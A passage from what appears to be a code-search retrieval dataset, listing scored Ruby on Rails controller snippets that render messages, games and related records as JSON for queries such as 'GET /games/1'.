"text": "def show\n # puts params\n @message = Message.where(id: params[:id])\n if @message.exists?\n render json: @message, status: :ok\n else\n render json: {status: \"error\", message: \"Can't find message\"}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1a4ff0a0932c6679fdfb56015b8609a1",
"score": "0.6380723",
"text": "def show\n render json: @message\n end",
"title": ""
},
{
"docid": "2e564ce3d49e2fa5a1f6cd965353d964",
"score": "0.6377202",
"text": "def show\n @message = @course.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "e9242a36828e0fd24b7f2d47001481f3",
"score": "0.63675594",
"text": "def show\n @user_message = UserMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_message }\n end\n end",
"title": ""
},
{
"docid": "241761546043ea56c1f6d7acf6487e27",
"score": "0.63605005",
"text": "def show\n @message = Message.find(params[:id])\n @sender = User.find(@message.sender_id)\n @recipient = User.find(@message.recipient_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "6f9e82fd0b4ab35e7366ed3330befd3d",
"score": "0.6336452",
"text": "def index\n @messages = Message.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"title": ""
},
{
"docid": "e95015df147dfb67e2cdabdd7e616aab",
"score": "0.633052",
"text": "def show\n @messages = authenticate!.messages.where(category: message_params[:category])\n if @messages\n render json: @messages, each_serializer: MessagesSerializer, root:\n 'result', status: :ok, event: 'get_message'\n else\n render json: error('Error', 400), status: 400\n end\n end",
"title": ""
},
{
"docid": "177294a1b9801e6ad02b92996a59d4d4",
"score": "0.63202745",
"text": "def index\n @messages = Message.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"title": ""
},
{
"docid": "2fe713636a8cb39a8f3ef269bf118008",
"score": "0.6318205",
"text": "def show\n message = Message.find(params[:id])\n if message.present?\n render json: {\n message_status: message.status\n }\n else\n render_error_msg(\"No message found for message_id (#{params[:id]})\")\n end\n end",
"title": ""
},
{
"docid": "8723c8eefd03e9053c889b671128071b",
"score": "0.6314459",
"text": "def index\n temp = User.find(current_user.id)\n @messages = temp.get_received_messages\n #Hier Methode einfügen, nur eigene Nachrichten\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"title": ""
},
{
"docid": "84c66370a848345badd9bd1dd2d67535",
"score": "0.63110775",
"text": "def show\n @email_message = EmailMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_message }\n end\n end",
"title": ""
},
{
"docid": "84c66370a848345badd9bd1dd2d67535",
"score": "0.63110775",
"text": "def show\n @email_message = EmailMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_message }\n end\n end",
"title": ""
},
{
"docid": "32056de5cf8dcf8d16efb78e93f02ec0",
"score": "0.62987065",
"text": "def show\n @msg = Msg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @msg }\n end\n end",
"title": ""
},
{
"docid": "c1e8ad7dd26f729003b1d74b6730321e",
"score": "0.62983274",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_template }\n end\n end",
"title": ""
},
{
"docid": "db9289ec741aec52b5be5891b6857460",
"score": "0.62927246",
"text": "def index\n render json: Message.all\n end",
"title": ""
},
{
"docid": "d5970d4e6ea984b75fbf79b5e3da3eb3",
"score": "0.62916356",
"text": "def show\n @conversation = Conversation.find(params[:id])\n @message = Message.new\n @count = @conversation.messages.size\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversation }\n format.mobile\n end\n end",
"title": ""
},
{
"docid": "c4ae0c5d63b82feb0c98cf20807fbdcc",
"score": "0.6290432",
"text": "def show\n if @message\n render json: @message.as_json(only: %i[], methods: %i[id sender body created_at updated_at first_sent_at last_sent_at next_send_at send_duration send_duration_readable current_status media recipients_full])\n else\n render json: {\n errors: Stitches::Errors.from_active_record_object(@message)\n }, status: 422\n end\n end",
"title": ""
},
{
"docid": "b79dcefc103b0320ba87f0d52f6ff4fc",
"score": "0.6282491",
"text": "def retrieve_messengers()\n start.uri('/api/messenger')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "ebc80e0c860a8e7db549db1d49f542fc",
"score": "0.62624216",
"text": "def show\n render_json :entry => @message\n end",
"title": ""
},
{
"docid": "cf512529995770d3670a7b29fc8f9587",
"score": "0.625962",
"text": "def show\n @incoming_message = IncomingMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incoming_message }\n end\n\n end",
"title": ""
},
{
"docid": "e8e55bf848dcdab8de571304e550d060",
"score": "0.6247282",
"text": "def index\n @messages = Message.all\n\n @page_title = 'Messages'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"title": ""
},
{
"docid": "2374f2573e6e3aff620e24e66c2512e7",
"score": "0.6247091",
"text": "def show\n @chat_message = ChatMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chat_message }\n end\n end",
"title": ""
},
{
"docid": "2374f2573e6e3aff620e24e66c2512e7",
"score": "0.6247091",
"text": "def show\n @chat_message = ChatMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chat_message }\n end\n end",
"title": ""
},
{
"docid": "46771c2f2f97d72280cb514615a14ffc",
"score": "0.62294626",
"text": "def fetch_message\n @message = Message.find_by_id(params[:id])\n end",
"title": ""
},
{
"docid": "82ef13027d19a701ef632e0cf9d0aead",
"score": "0.62270254",
"text": "def show\n @messages = Ticket.includes(:messages).find(params[:id]).messages\n\n # this should never respond to HTML since everything is shown through /tickets/shows\n respond_to do |format|\n format.json {render json: @messages}\n end\n end",
"title": ""
},
{
"docid": "bedd472b474ca23cf0a06342feee9416",
"score": "0.622354",
"text": "def index\n @messages = Message.where(\"id >= ?\", params.require(:offset))\n if params[:resource_uris].present?\n case params[:resource_uris]\n when ActionController::Parameters\n # swagger client passes an array value as a hash like {\"0\"=>val} in query parameter\n @messages = @messages.where(resource_uri: params[:resource_uris].to_unsafe_h.values)\n else\n @messages = @messages.where(resource_uri: params[:resource_uris])\n end\n end\n @messages = @messages.order(id: :asc)\n @messages = @messages.limit(params[:limit] || 100)\n render json: @messages, each_serializer: MessageEachSerializer\n end",
"title": ""
},
{
"docid": "dc56468775669047e8f13f18c111e35f",
"score": "0.6223213",
"text": "def show\n unless request.xhr?\n @user=user\n @message = @user.sent_messages.new\n @inbox = @user.received_messages.inbox\n render :action => :index\n return\n end\n @message=P2p::Message.find(params[:id])\n resp =[]\n while !@message.nil?\n if @message.receiver_id = session[:userid]\n @message.update_attributes(:receiver_status => 1) if @message.receiver_status != 0\n name = @message.sender.user.name\n id = @message.sender.id\n else\n name = @message.receiver.user.name\n id = @message.receiver.id\n return\n end\n dte = @message.created_at.strftime(\"%d-%h-%C%y %I:%M %p\")\n if @message.messagetype == 1 #admin requet\n sub = \"Message from Admin\"\n elsif @message.messagetype == 2 #admin requet\n sub = \"Buy request from \" + name\n else\n sub = \"Message\"\n end\n msg = @message.message\n resp.push( {:name => name , :sub => sub ,:msg => msg ,:dte => dte ,:receiver => id })\n puts @message.inspect + \"pp \"\n @message = @message.parent_msg\n puts @message.inspect + \"p asdfp \"\n end\n render :json => resp\n end",
"title": ""
},
{
"docid": "7c2151f8a21a7af5f1a76df2b78d453f",
"score": "0.6221658",
"text": "def show\n #@message = Message.find(params[:id])\n redirect_to messages_url\n #respond_to do |format|\n #format.html # show.html.erb\n #format.json { render json: @message }\n #end\n end",
"title": ""
},
{
"docid": "dd4fdd19aa2c6f0ba680d33672291083",
"score": "0.6221195",
"text": "def show\n @push_offer = PushOffer.find(params[:id])\n\n render json: @push_offer\n end",
"title": ""
},
{
"docid": "012d2c56576a0b03f3de9de348a7a8ad",
"score": "0.6219353",
"text": "def show\n @store_manager_messages_unread = Store::Manager::Messages::Unread.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @store_manager_messages_unread }\n end\n end",
"title": ""
},
{
"docid": "1e9768875734354805efa4c863cb6404",
"score": "0.6203495",
"text": "def get\n return messages\n end",
"title": ""
},
{
"docid": "3c72b7fdc0e148cf938c964b340c36f8",
"score": "0.61985105",
"text": "def show\n respond_to do |format|\n format.json{render :json=> PrivateMessage.where(receiver_id: params[:id])}\n end\n end",
"title": ""
},
{
"docid": "37cd8327a1e58c3e1b19186e754c34a0",
"score": "0.6198155",
"text": "def index\n @messages = Message.all\n json_string = MessageSerializer.new(@messages).serializable_hash.to_json\n render json: json_string\n end",
"title": ""
},
{
"docid": "35b93a9eeaf07a4f33ae13a051ea5ae7",
"score": "0.61965424",
"text": "def show\n @text_message = TextMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text_message }\n end\n end",
"title": ""
},
{
"docid": "9f4ef76ffd1eeadc3604db75ea3e8cc2",
"score": "0.61964536",
"text": "def show\n @system_message = SystemMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_message }\n end\n end",
"title": ""
},
{
"docid": "bf2c41a3a4083fef65e98a7b685ddbec",
"score": "0.619309",
"text": "def show\n @message_update = MessageUpdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_update }\n end\n end",
"title": ""
},
{
"docid": "1eea9066c415b41f7eee817e13cecfec",
"score": "0.618725",
"text": "def index\n @messages = Message.latest.includes(:user)\n\n respond_to do |format|\n format.html do\n store_preloaded_json(\"messages_latest\", @messages)\n end\n\n format.json do\n render json: @messages\n end\n end\n end",
"title": ""
},
{
"docid": "9318cb871d9598bc102473948661d558",
"score": "0.6180212",
"text": "def show\n @old_message = OldMessage.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @old_message }\n end\n end",
"title": ""
},
{
"docid": "af8dbe0e37dc736c8ba7ad4582ff59af",
"score": "0.61738557",
"text": "def show\n @readmsg = Readmsg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @readmsg }\n end\n end",
"title": ""
},
{
"docid": "8265e968ad1aa4e4ab696ba7b69ce92f",
"score": "0.61632955",
"text": "def show\n @message = Message.find(params[:id])\n @user = User.find_by_id(@message.sender_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "debff16948f3fdd2da6419b85fbc0ed9",
"score": "0.6161378",
"text": "def show\n @message = Message.new(chat_room: @chat_room)\n @messages = @chat_room.messages.includes(:user)\n @message_count = @chat_room.messages.count\n @user_count = @chat_room.messages.pluck(:user_id).uniq.count\n\n render(json: { message: @message, messages: @messages, message_count: @message_count, user_count: @user_count }.to_json)\n end",
"title": ""
},
{
"docid": "f2eb41f34d532623753b377dfcdcdd61",
"score": "0.6157399",
"text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @offer }\n end\n end",
"title": ""
},
{
"docid": "c0cb4e2cf8381abe48fc829ff26e65f8",
"score": "0.615502",
"text": "def new\n @offer = Offer.find(params[:offer_id])\n @subscription = Subscription.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end",
"title": ""
},
{
"docid": "35a1fbd54efca8ea74253fc204dcf0d9",
"score": "0.6147547",
"text": "def show\n @message = current_user.received_messages.find(params[:id])\n\t\n\tif @message.read == nil\n\t\t@message.read = true\n\t\t@message.save\n\tend\n\t\n\t@reply = current_user.sent_messages.build\n\t@reply.title = @message.title.sub(/^(Re: )?/, \"Re: \")\n\t@reply.content = @message.content.gsub(/^/, \"> \")\n\t@reply.from = current_user.email\n\t@reply.to = @message.author.email\n\t\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "c8b9c288331eee6186520f015a2e3df1",
"score": "0.6144669",
"text": "def list_messages\n\t messages = []\n if Conversation.between(current_user.id, params[:recipient_id]).present?\n conversation = Conversation.between(current_user.id, params[:recipient_id]).first\n \t messages = conversation.messages\n end\n render json: {conversation: messages}\n end",
"title": ""
},
{
"docid": "5cdd696dc0b199ce0ccd33b2e6d21baa",
"score": "0.6141298",
"text": "def getMessages()\r\n @client.api.account.messages.list\r\nend",
"title": ""
}
] |
9a387346ca37ac0bcc3dee8e5f8443ef | GET /games/1 GET /games/1.json | [
{
"docid": "a54561fb42c1397dafc134539a93fc05",
"score": "0.74728286",
"text": "def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
}
] | [
{
"docid": "5068a0ca27ae23b1d06258f1bf2f195a",
"score": "0.7841512",
"text": "def index\n @games = Game.all\n render json: @games, status: 200\n end",
"title": ""
},
{
"docid": "b49a9213c2fcfbaf78c0ef75757e30ee",
"score": "0.77346104",
"text": "def index\n @games = Game.all\n render json: @games\n end",
"title": ""
},
{
"docid": "b49a9213c2fcfbaf78c0ef75757e30ee",
"score": "0.77346104",
"text": "def index\n @games = Game.all\n render json: @games\n end",
"title": ""
},
{
"docid": "395044b6dbb34bc00f143ddb1d650907",
"score": "0.7666556",
"text": "def index\n @games = @match.games\n render json: @games, root: false\n end",
"title": ""
},
{
"docid": "b9a8cecdccf09737ec3309f7c293a2d5",
"score": "0.76140046",
"text": "def show\n render json: @game, status: 200\n end",
"title": ""
},
{
"docid": "902554d85013ffc6f4d1cdcd1aaee099",
"score": "0.75970954",
"text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"title": ""
},
{
"docid": "902554d85013ffc6f4d1cdcd1aaee099",
"score": "0.75970954",
"text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"title": ""
},
{
"docid": "902554d85013ffc6f4d1cdcd1aaee099",
"score": "0.75970954",
"text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"title": ""
},
{
"docid": "902554d85013ffc6f4d1cdcd1aaee099",
"score": "0.75970954",
"text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"title": ""
},
{
"docid": "86c56016b41860e9d5db0e31048a111c",
"score": "0.7571671",
"text": "def show\n @game = Game.find(params[:id].to_i)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "08bea4518a25e3b51930ef0b865c9a14",
"score": "0.7569439",
"text": "def index\n games = Game.all\n render json: games, status: :ok \n end",
"title": ""
},
{
"docid": "80fe770d95135515eee16c3fdb477ca1",
"score": "0.7558101",
"text": "def show\n game = Game.find(params[:id])\n render json: game\n end",
"title": ""
},
{
"docid": "3deede622c8ad47ca38227b06c6b6204",
"score": "0.7544428",
"text": "def show\n @game = @game_week.games.find(params[:id])\n render json: @game\n end",
"title": ""
},
{
"docid": "61588d92ebde89de21eaea149b139fec",
"score": "0.7509643",
"text": "def index\n @resource_games = Resource::Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_games }\n end\n end",
"title": ""
},
{
"docid": "2aba877a7321a29b8be7a4918d85e1a2",
"score": "0.748035",
"text": "def index\n @games = @game_week.games\n render json: @games\n end",
"title": ""
},
{
"docid": "102fee40069f0a76929a947af157b820",
"score": "0.740748",
"text": "def show\n render :json => Game.find(params[:id])\n end",
"title": ""
},
{
"docid": "0dcf070acff280e1ba8057c05a3551a9",
"score": "0.7404757",
"text": "def show\r\n @game = Game.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @game }\r\n end\r\n end",
"title": ""
},
{
"docid": "3c632d69dde8f15577bae164a89dd151",
"score": "0.73376346",
"text": "def show\n render json: @game\n end",
"title": ""
},
{
"docid": "3c632d69dde8f15577bae164a89dd151",
"score": "0.73376346",
"text": "def show\n render json: @game\n end",
"title": ""
},
{
"docid": "3c632d69dde8f15577bae164a89dd151",
"score": "0.73376346",
"text": "def show\n render json: @game\n end",
"title": ""
},
{
"docid": "3c632d69dde8f15577bae164a89dd151",
"score": "0.73376346",
"text": "def show\n render json: @game\n end",
"title": ""
},
{
"docid": "c6797a14d1fbffa4052dd6e7e0286931",
"score": "0.7328417",
"text": "def index\n @games = Game.all\n render json: { status: \"success\", message: \"Games returned successfully!\", data: @games}, status: :ok\n end",
"title": ""
},
{
"docid": "85856bc46f4dea8143554ac5bddfa804",
"score": "0.7315779",
"text": "def index\n @mygames = Mygame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mygames }\n end\n end",
"title": ""
},
{
"docid": "a4bcb9c79f387c1bd625215f2f26a926",
"score": "0.7312194",
"text": "def show\n @game = Game.find_by_sql(\"SELECT * FROM Games G WHERE G.id = \" + params[:id]).first()\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "f29558e2b0644f17fea8b7fe8fe5361e",
"score": "0.73111486",
"text": "def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if !@game.blank?\n format.json { render json: @game }\n else\n format.json { render json: \"{ 'error' : 'Bad parameters, game not founded' }\", status: :unprocessable_entity }\n end\n end \n end",
"title": ""
},
{
"docid": "b829c33186337df6037d005af8055465",
"score": "0.7283047",
"text": "def index\n\t\t@games = Game.all\n\t\trespond_to do |format|\n\t\t\tformat.html do \n\t\t\t\trender :index\n\t\t\tend\n\t\t\tformat.json do\n\t\t\t\trender :json => {games: Game.to_json}\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6697ed6cf71657bec3af7c4d29d70d31",
"score": "0.727957",
"text": "def show\n render json: @game\n end",
"title": ""
},
{
"docid": "aff29c6222b89583a59b4fa9e5236801",
"score": "0.72481966",
"text": "def show\n @resource_game = Resource::Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource_game }\n end\n end",
"title": ""
},
{
"docid": "502c96e573d8a2272691cfc2c4c04ba2",
"score": "0.72376096",
"text": "def show\n @mygame = Mygame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mygame }\n end\n end",
"title": ""
},
{
"docid": "74c2712cecb3719910ccffeee0036039",
"score": "0.72269255",
"text": "def shows\n @game = Game.find(params[:id])\n json_response(@game, :ok)\n end",
"title": ""
},
{
"docid": "f05274fcb72b03cc2b8e9f040375f9a3",
"score": "0.72255725",
"text": "def get_games_with_sport_id\n @game = Game.where(sport_id: params[:id])\n render json: @game\n end",
"title": ""
},
{
"docid": "0e0bc0872efbafb5d784356d44ca32f2",
"score": "0.7182714",
"text": "def show\n @team_game = TeamGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_game }\n end\n end",
"title": ""
},
{
"docid": "4a3fcc262c52a70022eb626eef285076",
"score": "0.71670985",
"text": "def show\n @game = Game.find(params[:id])\n\n @gameplay = @game.gameplay\n # @gameplay = Gameplay.find_by_game_id(@game.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "be0ac595a0001c9f7122337b092938fe",
"score": "0.71628827",
"text": "def get_games \n conn = open(\"http://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key=#{API_KEY}&steamid=#{@steamid}&format=json\")\n json_hash = JSON.parse(conn.read)\n games_hash = json_hash[\"response\"][\"games\"]\n @games = games_hash.map { |hash| hash[\"appid\"] }\n end",
"title": ""
},
{
"docid": "effbab2896a8f1a332bdb5c815d23127",
"score": "0.71570385",
"text": "def index\n @games = Game.all\n # @order = Order.find(params[:order_id])\n # @games = @order.games\n render json: @games\n\n end",
"title": ""
},
{
"docid": "5891db8ab8271de9f56e62c23108e1e1",
"score": "0.7128149",
"text": "def show\n @account_game = AccountGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account_game }\n end\n end",
"title": ""
},
{
"docid": "14094af028c7caa03decc7b4f216d007",
"score": "0.7100901",
"text": "def index\n games = Game.all\n @games = Hash.new\n games.each do |game|\n game_hash = game.as_json(:methods => [:players_to_mages, :market_cards])\n @games[game.id] = game_hash\n end\n render :json => @games\n end",
"title": ""
},
{
"docid": "4a0e82dc4a2c6721d1712b35700e5225",
"score": "0.70789796",
"text": "def show\n redirect_to root_url\n #@game = Game.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @game }\n #end\n end",
"title": ""
},
{
"docid": "f41c07ee00408524d7cd80de00ddd9f8",
"score": "0.70717764",
"text": "def show\n @game = Game.find(params[:id]).order(name: :asc, __id__: :asc)\n render json: @game\n end",
"title": ""
},
{
"docid": "5487c38fc36d3865d75e4647642192ca",
"score": "0.7070376",
"text": "def show\n @tournament_game = TournamentGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tournament_game }\n end\n end",
"title": ""
},
{
"docid": "ce2b2df9043def0a0613db19aaa66843",
"score": "0.70512927",
"text": "def show\n @html5game = Html5game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @html5game }\n end\n end",
"title": ""
},
{
"docid": "835de39c161d1c643f5df341dbdf2e9c",
"score": "0.70454866",
"text": "def index\n @games = Game.all\n render json: @games.to_json({ only: %i[date v_name v_team_earned_runs h_name h_team_earned_runs] })\n end",
"title": ""
},
{
"docid": "d78567ead89a8088ab90322ecc34f895",
"score": "0.70454735",
"text": "def getgameinfo\n puts params[:token]\n @game = Game.find_by_token(params[:token])\n\n respond_to do |format|\n \tformat.json { render :json => @game.to_json }\n end\n end",
"title": ""
},
{
"docid": "6576b03ed4db6012560a535f3dbf9317",
"score": "0.70448065",
"text": "def show\n @game = Game.find(params[:id])\n render json: { payload: @game, meta: @game.id }\n end",
"title": ""
},
{
"docid": "7e1a63c8916289b870c7ccdbcaad1620",
"score": "0.7043359",
"text": "def show\n @bettergame = Bettergame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bettergame }\n end\n end",
"title": ""
},
{
"docid": "d0cddc265991e596f942776cf6e004d4",
"score": "0.70427734",
"text": "def show\n render json: @game, root: false\n end",
"title": ""
},
{
"docid": "fc6ca29efa15f0c5af63d675e43d31df",
"score": "0.70198035",
"text": "def show\n @gamestat = Gamestat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gamestat }\n end\n end",
"title": ""
},
{
"docid": "e80fd9b7818ad91bae39eedeff658f72",
"score": "0.7012863",
"text": "def index\n @games = Game.order(\"created_at DESC\").includes(:winner, :loser)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @games }\n end\n end",
"title": ""
},
{
"docid": "ea2536fd5881b4995954c98c61b928e6",
"score": "0.7001927",
"text": "def index\n @games = Game.where('user_id = ?', @current_user.id).order(created_at: :desc)\n if @games.present?\n render json: { games: trim_data(@games) }, status: :ok\n else\n render json: { :status => \"204\", :message => \"User doesn't have games\" }, status: :no_content\n end\n end",
"title": ""
},
{
"docid": "e258d3615fbfb044bcf98e0177db854e",
"score": "0.6986769",
"text": "def index\n @boardgames = Boardgame.all\n render json: @boardgames \n end",
"title": ""
},
{
"docid": "375d5e35d66a4d122eff41eb6db760f9",
"score": "0.6977613",
"text": "def index\n render json: Game.all, adapter: :json\n end",
"title": ""
},
{
"docid": "0cb0f069201c9b215e0d80de41f472f7",
"score": "0.69541746",
"text": "def show\n @game = Game.find(params[:id])\n\n @platform = Platform.find(@game.platform_id)\n \n #if @game.cached_at == nil || @game.cached_at < (Time.now - 24.hours)\n xml = open('http://thegamesdb.net/api/GetGame.php?id='+@game.external_id.to_s)\n\n require 'xmlsimple'\n gameData = XmlSimple.xml_in(xml, { 'KeyAttr' => 'Game' })\n gameInfo = gameData[\"Game\"].first\n\n @game = @platform.add_game(gameInfo)\n\n #end\n\n jsonHash = JSON.parse(@game.to_json)\n jsonHash[\"images\"] = @game.images\n\n if current_user && GameStashDatum.exists?(:game_id => @game.id)\n game_stash_datum = GameStashDatum.find_by_user_id_and_game_id(current_user.id, @game.id)\n jsonHash[\"game_stash_datum\"] = game_stash_datum\n else\n jsonHash[\"game_stash_datum\"] = {:has_played => false, :rating => 0};\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: jsonHash }\n end\n end",
"title": ""
},
{
"docid": "8d53596963691af7f5b67c3128db376b",
"score": "0.69495964",
"text": "def show\n @game_history = GameHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_history }\n end\n end",
"title": ""
},
{
"docid": "c045ce3a5234fd37595d6a89569e9117",
"score": "0.69475585",
"text": "def show\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spreadapedia_game }\n end\n end",
"title": ""
},
{
"docid": "68c64b476a9a285d32753f5cd157a7a8",
"score": "0.692929",
"text": "def show\n @game_detail = GameDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_detail }\n end\n end",
"title": ""
},
{
"docid": "0482f68ca4872820ff5ab14a39732296",
"score": "0.69160515",
"text": "def index\n g = Game.last\n if g.is_guessed\n g = Game.create!\n end\n logger.debug g.inspect\n render json: g.to_jsonable\n end",
"title": ""
},
{
"docid": "62cf92c5a4f7380a3ff1ce83344065cd",
"score": "0.69057757",
"text": "def show \n boardgame = Boardgame.find(params[:id])\n render json: boardgame\n end",
"title": ""
},
{
"docid": "7746893ba665be76b0dabf5db37cf3cd",
"score": "0.68931437",
"text": "def show\n render json: { status: \"success\", message: \"Game request successful!\", data: @game }, status: :ok\n end",
"title": ""
},
{
"docid": "d42a1d54643e99fd934c51eb9822091b",
"score": "0.6880362",
"text": "def show\n @boardgame_id = params[:boardgame_id]\n response = HTTParty.get('https://www.boardgameatlas.com/api/search?ids=' + @boardgame_id + '&client_id=' + ENV['CLIENT_ID'])\n @boardgame = response[\"games\"].first\n end",
"title": ""
},
{
"docid": "5e4b345b1e8a0b120efd3de6936d7d78",
"score": "0.68235236",
"text": "def show\n @game = Game.find(params[:id])\n @users = User.paginate(:page => 1, :per_page=> 2)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6812468",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
